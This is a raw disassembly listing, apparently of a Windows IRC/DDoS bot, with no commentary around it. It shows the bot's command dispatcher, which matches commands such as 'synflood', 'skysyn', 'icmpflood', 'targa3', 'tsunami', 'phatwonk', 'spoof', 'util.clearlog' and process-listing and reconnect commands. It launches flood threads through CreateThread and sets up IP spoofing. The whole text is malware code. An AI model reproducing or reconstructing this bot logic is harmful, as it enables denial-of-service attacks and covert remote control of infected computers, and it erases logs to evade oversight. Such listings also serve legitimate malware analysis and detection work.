		call	sub_4102A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40A4C8
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4048B2
		add	esp, 0Ch
		jmp	short loc_40A4C8
; ---------------------------------------------------------------------------


loc_40A496:				; CODE XREF: sub_40997B+AD7j
					; sub_40997B+ADEj
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jnz	short loc_40A4C8
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_410090
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4048B2
		add	esp, 18h


loc_40A4C8:				; CODE XREF: sub_40997B+AF0j
					; sub_40997B+B04j ...
		dec	[ebp+arg_8]
		sub	[ebp+arg_20], 4
		cmp	[ebp+arg_8], ebx
		jg	loc_40A42A
		lea	eax, [ebp+esi+var_58]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_40A4E5:				; CODE XREF: sub_40997B+BB6j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A4]
		push	offset dword_421B38
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4102A0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A528
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40A528
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4048B2
		add	esp, 0Ch


loc_40A528:				; CODE XREF: sub_40997B+B92j
					; sub_40997B+B98j
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_40A4E5
		mov	[ebp+var_C8], 1


loc_40A53D:				; CODE XREF: sub_40997B+A21j
					; sub_40997B+A52j
		mov	eax, [ebp+var_18]
		mov	edi, [ebp+arg_4]
		mov	al, [eax]
		cmp	al, byte_41FBF2
		jz	short loc_40A559
		cmp	[ebp+var_C8], ebx
		jz	loc_40A755


loc_40A559:				; CODE XREF: sub_40997B+BD0j
		push	[ebp+arg_10]
		push	offset dword_421B34
		push	[ebp+arg_0]
		call	sub_4048B2
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_421B2C
		push	[ebp+arg_0]
		call	sub_4048B2
		push	[ebp+var_90]
		push	offset dword_421B24
		push	[ebp+arg_0]
		call	sub_4048B2
		push	ebx
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax
		push	edi
		call	sub_40E17A
		push	eax
		push	offset dword_421B18
		push	[ebp+arg_0]
		call	sub_4048B2
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset dword_421B10
		push	[ebp+arg_0]
		call	sub_4048B2
		push	offset dword_421B08
		push	[ebp+arg_0]
		call	sub_4102A0
		add	esp, 14h


loc_40A5D0:				; CODE XREF: sub_40997B+D49j
		test	eax, eax
		jz	loc_40A6C9
		push	offset dword_421B08
		push	[ebp+arg_0]
		call	sub_4102A0
		mov	[ebp+arg_4], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_410090
		lea	eax, [ebp+var_A4]
		push	offset dword_421B04
		push	eax
		call	sub_4103EB
		add	esp, 1Ch
		cmp	[ebp+var_A4], 30h
		jl	short loc_40A620
		cmp	[ebp+var_A4], 39h
		jle	short loc_40A636


loc_40A620:				; CODE XREF: sub_40997B+C9Aj
		push	3
		lea	eax, [ebp+var_A4]
		push	offset dword_421B00
		push	eax
		call	sub_410090
		add	esp, 0Ch


loc_40A636:				; CODE XREF: sub_40997B+CA3j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_40FB66
		test	eax, eax
		pop	ecx
		jle	short loc_40A659
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_40FB66
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40A66A
; ---------------------------------------------------------------------------


loc_40A659:				; CODE XREF: sub_40997B+CCAj
		call	sub_410198
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40A66A:				; CODE XREF: sub_40997B+CDCj
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_40E730
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax
		call	sub_40E800
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A4]
		push	[ebp+arg_4]
		push	eax
		call	sub_410090
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4048B2
		push	offset dword_421B08
		push	[ebp+arg_0]
		call	sub_4102A0
		add	esp, 30h
		jmp	loc_40A5D0
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_40997B+C57j
		push	1FFh
		lea	eax, [ebp+var_C50]
		push	[ebp+arg_0]
		push	eax
		call	sub_410090
		lea	eax, [ebp+var_C50]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_E50]
		push	eax
		call	sub_410090
		lea	eax, [ebp+var_E50]
		push	offset dword_41F770
		push	eax
		call	sub_4103EB
		mov	[ebp+var_98], eax
		lea	eax, [ebp+var_94]
		add	esp, 20h
		mov	[ebp+arg_4], eax
		mov	[ebp+arg_10], 1Fh


loc_40A71F:				; CODE XREF: sub_40997B+DBDj
		push	offset dword_41F770
		push	ebx
		call	sub_4103EB
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	[ebp+arg_4], 4
		dec	[ebp+arg_10]
		mov	[ecx], eax
		jnz	short loc_40A71F
		mov	ecx, [ebp+esi+var_98]
		lea	eax, [ebp+esi+var_98]
		cmp	ecx, ebx
		jz	loc_409D24
		add	ecx, 3
		mov	[eax], ecx


loc_40A755:				; CODE XREF: sub_40997B+BD8j
		mov	eax, [ebp+esi+var_98]
		push	eax
		push	offset dword_421AF0
		mov	[ebp+arg_4], eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA5D
		push	[ebp+arg_4]
		push	offset dword_421AEC
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA5D
		push	[ebp+arg_4]
		push	offset dword_421AE0
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA3B
		push	[ebp+arg_4]
		push	offset dword_421AD8
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA3B
		push	[ebp+arg_4]
		push	offset dword_421ACC
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D943
		push	[ebp+arg_4]
		push	offset dword_421AC8
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D943
		push	[ebp+arg_4]
		push	offset dword_421AB8
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D925
		push	[ebp+arg_4]
		push	offset dword_421AB4
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D925
		push	[ebp+arg_4]
		push	offset dword_421AAC
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A855
		push	[ebp+esi+var_94]
		push	22h
		push	offset dword_421AA0
		push	offset dword_421A8C


loc_40A83B:				; CODE XREF: sub_40997B+F00j
					; sub_40997B+F28j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_40E464
		add	esp, 20h
		jmp	loc_409D24
; ---------------------------------------------------------------------------


loc_40A855:				; CODE XREF: sub_40997B+EABj
		push	[ebp+arg_4]
		push	offset dword_421A80
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A87D
		push	[ebp+esi+var_94]
		push	0Ah
		push	offset dword_421A74
		push	offset dword_421A5C
		jmp	short loc_40A83B
; ---------------------------------------------------------------------------


loc_40A87D:				; CODE XREF: sub_40997B+EEBj
		push	[ebp+arg_4]
		push	offset aSynstop	; "synstop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A8A5
		push	[ebp+esi+var_94]
		push	0Bh
		push	offset dword_421A48
		push	offset dword_421A34
		jmp	short loc_40A83B
; ---------------------------------------------------------------------------


loc_40A8A5:				; CODE XREF: sub_40997B+F13j
		push	[ebp+arg_4]
		push	offset aSkysynstop ; "skysynstop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A8D0
		push	[ebp+esi+var_94]
		push	11h
		push	offset dword_421A18
		push	offset dword_421A04
		jmp	loc_40A83B
; ---------------------------------------------------------------------------


loc_40A8D0:				; CODE XREF: sub_40997B+F3Bj
		push	[ebp+arg_4]
		push	offset aTarga3stop ; "targa3stop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A8FB
		push	[ebp+esi+var_94]
		push	12h
		push	offset dword_4219E8
		push	offset dword_4219D4
		jmp	loc_40A83B
; ---------------------------------------------------------------------------


loc_40A8FB:				; CODE XREF: sub_40997B+F66j
		push	[ebp+arg_4]
		push	offset aWonkstop ; "wonkstop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A926
		push	[ebp+esi+var_94]
		push	13h
		push	offset dword_4219BC
		push	offset dword_4219A8
		jmp	loc_40A83B
; ---------------------------------------------------------------------------


loc_40A926:				; CODE XREF: sub_40997B+F91j
		push	[ebp+arg_4]
		push	offset aPacketstop ; "packetstop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40AA7B
		mov	esi, [ebp+esi+var_94]
		push	esi
		push	0Ah
		push	offset dword_421A74
		push	offset dword_421A5C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_40E464
		push	esi
		push	0Bh
		push	offset dword_421A48
		push	offset dword_421A34
		push	1
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_40E464
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_421990
		push	offset dword_421978
		push	1
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_40E464
		push	esi
		push	0Eh
		push	offset dword_42196C
		push	offset dword_421954
		push	1
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_40E464
		add	esp, 40h
		push	esi
		push	12h
		push	offset dword_4219E8
		push	offset dword_4219D4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_40E464
		push	esi
		push	13h
		push	offset dword_4219BC
		push	offset dword_4219A8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_40E464
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_421944
		push	offset dword_42192C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_40E464
		push	esi
		push	14h
		push	offset dword_42191C
		push	offset dword_421908
		push	1
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_40E464
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_421A18
		push	offset dword_421A04
		push	1
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_40E464
		push	ebx
		push	[ebp+var_4]
		push	offset unk_4218CC
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 34h
		jmp	loc_409D24
; ---------------------------------------------------------------------------


loc_40AA7B:				; CODE XREF: sub_40997B+FBCj
		push	[ebp+arg_4]
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AAA6
		push	[ebp+esi+var_94]
		push	10h
		push	offset dword_421944
		push	offset dword_42192C
		jmp	loc_40A83B
; ---------------------------------------------------------------------------


loc_40AAA6:				; CODE XREF: sub_40997B+1111j
		push	[ebp+arg_4]
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AAD1
		push	[ebp+esi+var_94]
		push	14h
		push	offset dword_42191C
		push	offset dword_421908
		jmp	loc_40A83B
; ---------------------------------------------------------------------------


loc_40AAD1:				; CODE XREF: sub_40997B+113Cj
		push	[ebp+arg_4]
		push	offset aUdpstop	; "udpstop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AAFC
		push	[ebp+esi+var_94]
		push	0Fh
		push	offset dword_421990
		push	offset dword_421898
		jmp	loc_40A83B
; ---------------------------------------------------------------------------


loc_40AAFC:				; CODE XREF: sub_40997B+1167j
		push	[ebp+arg_4]
		push	offset aPingstop ; "pingstop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AB27
		push	[ebp+esi+var_94]
		push	0Eh
		push	offset dword_42196C
		push	offset dword_421954
		jmp	loc_40A83B
; ---------------------------------------------------------------------------


loc_40AB27:				; CODE XREF: sub_40997B+1192j
		push	[ebp+arg_4]
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D90D
		push	[ebp+arg_4]
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D90D
		push	[ebp+arg_4]
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AB80
		push	[ebp+esi+var_94]
		push	1Fh
		push	offset aSecure	; "Secure"
		push	offset dword_421844
		jmp	loc_40A83B
; ---------------------------------------------------------------------------


loc_40AB80:				; CODE XREF: sub_40997B+11EBj
		push	[ebp+arg_4]
		push	offset aScanstop ; "scanstop"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ABAB
		push	[ebp+esi+var_94]
		push	8
		push	offset aScan	; "Scan"
		push	offset dword_42181C
		jmp	loc_40A83B
; ---------------------------------------------------------------------------


loc_40ABAB:				; CODE XREF: sub_40997B+1216j
		push	[ebp+arg_4]
		push	offset aStats	; "stats"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D8F9
		push	[ebp+arg_4]
		push	offset aSt	; "st"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D8F9
		push	[ebp+arg_4]
		push	offset aNb32_reconnect ; "nb32.reconnect"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D8DA
		push	[ebp+arg_4]
		push	offset aNb32_r	; "nb32.r"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D8DA
		push	[ebp+arg_4]
		push	offset aNb32_disconnec ; "nb32.disconnect"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D8BA
		push	[ebp+arg_4]
		push	offset aNb32_d	; "nb32.d"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D8BA
		push	[ebp+arg_4]
		push	offset aNb32_quit ; "nb32.quit"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D876
		push	[ebp+arg_4]
		push	offset aNb32_q	; "nb32.q"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D876
		push	[ebp+arg_4]
		push	offset aNb32_status ; "nb32.status"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D839
		push	[ebp+arg_4]
		push	offset aNb32_s	; "nb32.s"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D839
		push	[ebp+arg_4]
		push	offset aNb32_id	; "nb32.id"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D82D
		push	[ebp+arg_4]
		push	offset aNb32_i	; "nb32.i"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D82D
		push	[ebp+arg_4]
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AD11
		call	sub_404CC0
		test	eax, eax
		mov	eax, offset unk_421774
		jnz	short loc_40ACE5
		mov	eax, offset unk_421744


loc_40ACE5:				; CODE XREF: sub_40997B+1363j
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 1Ch
		jmp	loc_40DA33
; ---------------------------------------------------------------------------


loc_40AD11:				; CODE XREF: sub_40997B+1355j
		push	[ebp+arg_4]
		push	offset aCom_restart ; "com.restart"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D77F
		push	[ebp+arg_4]
		push	offset aCom_r	; "com.r"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D77F
		push	[ebp+arg_4]
		push	offset aThreads_list ; "threads.list"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D691
		push	[ebp+arg_4]
		push	offset aThreads_l ; "threads.l"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D691
		push	[ebp+arg_4]
		push	offset aNb32_aliases ; "nb32.aliases"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D673
		push	[ebp+arg_4]
		push	offset aNb32_al	; "nb32.al"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D673
		push	[ebp+arg_4]
		push	offset aNb32_log ; "nb32.log"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D583
		push	[ebp+arg_4]
		push	offset aNb32_lg	; "nb32.lg"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D583
		push	[ebp+arg_4]
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D56C
		push	[ebp+arg_4]
		push	offset aUtil_clg ; "util.clg"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D56C
		push	[ebp+arg_4]
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D541
		push	[ebp+arg_4]
		push	offset aCom_ni	; "com.ni"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D541
		push	[ebp+arg_4]
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D50F
		push	[ebp+arg_4]
		push	offset aCom_si	; "com.si"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D50F
		push	[ebp+arg_4]
		push	offset aCom_procs ; "com.procs"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3F1
		push	[ebp+arg_4]
		push	offset aCom_ps	; "com.ps"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3F1
		push	[ebp+arg_4]
		push	offset aSpoof	; "spoof"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40AFB8
		mov	esi, [ebp+esi+var_94]
		push	offset aOff	; "off"
		push	esi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AEEE
		lea	eax, [ebp+var_578]
		push	offset unk_421658
		push	eax
		mov	dword_4280D8, ebx
		call	sub_40EE10
		pop	ecx
		pop	ecx


loc_40AEC9:				; CODE XREF: sub_40997B+1638j
		cmp	[ebp+var_8], ebx
		jnz	loc_40DAA2
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		jmp	loc_40C1ED
; ---------------------------------------------------------------------------


loc_40AEEE:				; CODE XREF: sub_40997B+1533j
		push	offset dword_421654
		push	esi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AF74
		cmp	dword_4280D8, ebx
		jz	short loc_40AF16
		push	offset dword_427AB8


loc_40AF0C:				; CODE XREF: sub_40997B+15F7j
		push	offset dword_421614
		jmp	loc_40AFA4
; ---------------------------------------------------------------------------


loc_40AF16:				; CODE XREF: sub_40997B+158Aj
		push	10h
		pop	eax
		mov	[ebp+arg_4], eax
		push	eax
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	edi
		call	dword_41A188	; getsockname
		movzx	eax, byte ptr [ebp+var_D4+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_D4+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_D4]
		push	eax
		lea	eax, [ebp+var_598]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_40EE10
		add	esp, 14h
		lea	eax, [ebp+var_598]
		push	eax
		jmp	short loc_40AF0C
; ---------------------------------------------------------------------------


loc_40AF74:				; CODE XREF: sub_40997B+1582j
		push	esi
		call	dword_427354	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40AF88
		push	offset unk_4215CC
		jmp	short loc_40AFA4
; ---------------------------------------------------------------------------


loc_40AF88:				; CODE XREF: sub_40997B+1604j
		push	offset dword_427AB8
		call	sub_40ED20
		pop	ecx
		mov	dword_4280D8, 1
		pop	ecx
		push	esi
		push	offset dword_421598


loc_40AFA4:				; CODE XREF: sub_40997B+1596j
					; sub_40997B+160Bj
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		jmp	loc_40AEC9
; ---------------------------------------------------------------------------


loc_40AFB8:				; CODE XREF: sub_40997B+1517j
		push	[ebp+arg_4]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D2D3
		push	[ebp+arg_4]
		push	offset aIcmp	; "icmp"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D2D3
		push	[ebp+arg_4]
		push	offset aTarga3	; "targa3"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1F2
		push	[ebp+arg_4]
		push	offset aT3	; "t3"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1F2
		push	[ebp+arg_4]
		push	offset aTsunami	; "tsunami"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D111
		push	[ebp+arg_4]
		push	offset dword_42156C
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D111
		push	[ebp+arg_4]
		push	offset dword_41F464
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D003
		push	[ebp+arg_4]
		push	offset dword_41F45C
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D003
		push	[ebp+arg_4]
		push	offset dword_41F454
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D003
		push	[ebp+arg_4]
		push	offset dword_421560
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B1A5
		push	7Fh
		lea	eax, [ebp+var_2F4]
		push	[ebp+esi+var_94]
		push	eax
		call	sub_410090
		push	7Fh
		lea	eax, [ebp+var_274]
		push	[ebp+esi+var_90]
		push	eax
		call	sub_410090
		push	7Fh
		lea	eax, [ebp+var_1F4]
		push	[ebp+esi+var_8C]
		push	eax
		call	sub_410090
		push	7Fh
		lea	eax, [ebp+var_174]
		push	[ebp+var_90]
		push	eax
		call	sub_410090
		mov	eax, [ebp+var_4]
		push	ebx
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_EC], eax
		lea	eax, [ebp+var_578]
		push	14h
		push	eax
		mov	[ebp+var_2F8], edi
		call	sub_40E1D6
		add	esp, 3Ch
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2F8]
		push	ebx
		push	eax
		push	offset sub_406FF0
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40B162


loc_40B150:				; CODE XREF: sub_40997B+17E5j
		cmp	[ebp+var_E8], ebx
		jnz	short loc_40B17D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40B150
; ---------------------------------------------------------------------------


loc_40B162:				; CODE XREF: sub_40997B+17D3j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_421518


loc_40B16E:				; CODE XREF: sub_40997B+1967j
					; sub_40997B+27D4j ...
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10
		add	esp, 0Ch


loc_40B17D:				; CODE XREF: sub_40997B+17DBj
					; sub_40997B+194Bj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40D4FE
		push	ebx
		push	[ebp+var_4]


loc_40B18A:				; CODE XREF: sub_40997B+1E8Ej
		lea	eax, [ebp+var_578]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 14h
		jmp	loc_40D4FE
; ---------------------------------------------------------------------------


loc_40B1A5:				; CODE XREF: sub_40997B+171Dj
		push	[ebp+arg_4]
		push	offset aSynflood ; "synflood"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF06
		push	[ebp+arg_4]
		push	offset aSyn	; "syn"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF06
		push	[ebp+arg_4]
		push	offset aSkysyn	; "skysyn"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B2E7
		mov	eax, [ebp+esi+var_94]
		push	7Fh
		mov	[ebp+arg_10], eax
		push	eax
		lea	eax, [ebp+var_2F4]
		push	eax
		call	sub_410090
		mov	eax, [ebp+esi+var_90]
		push	7Fh
		mov	[ebp+arg_0], eax
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_410090
		mov	esi, [ebp+esi+var_8C]
		push	7Fh
		lea	eax, [ebp+var_1F4]
		push	esi
		push	eax
		call	sub_410090
		push	7Fh
		lea	eax, [ebp+var_174]
		push	[ebp+var_90]
		push	eax
		call	sub_410090
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_EC], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_578]
		mov	[ebp+var_2F8], edi
		push	[ebp+arg_10]
		push	offset dword_4214B8
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	11h
		push	eax
		call	sub_40E1D6
		add	esp, 20h
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2F8]
		push	ebx
		push	eax
		push	offset sub_406042
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40B2D6


loc_40B2C0:				; CODE XREF: sub_40997B+1959j
		cmp	[ebp+var_E8], ebx
		jnz	loc_40B17D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40B2C0
; ---------------------------------------------------------------------------


loc_40B2D6:				; CODE XREF: sub_40997B+1943j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_421470
		jmp	loc_40B16E
; ---------------------------------------------------------------------------


loc_40B2E7:				; CODE XREF: sub_40997B+1869j
		push	[ebp+arg_4]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE09
		push	[ebp+arg_4]
		push	offset aWonk	; "wonk"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE09
		push	[ebp+arg_4]
		push	offset dword_421450
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD7F
		push	[ebp+arg_4]
		push	offset dword_421448
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD7F
		push	[ebp+arg_4]
		push	offset dword_42143C
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B3DA
		cmp	[ebp+var_8], ebx
		jnz	short loc_40B377
		push	ebx
		push	[ebp+var_4]
		push	offset dword_421424
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 14h


loc_40B377:				; CODE XREF: sub_40997B+19E2j
		mov	eax, [ebp+arg_18]
		xor	esi, esi
		mov	[ebp+arg_4], eax
		jmp	short loc_40B384
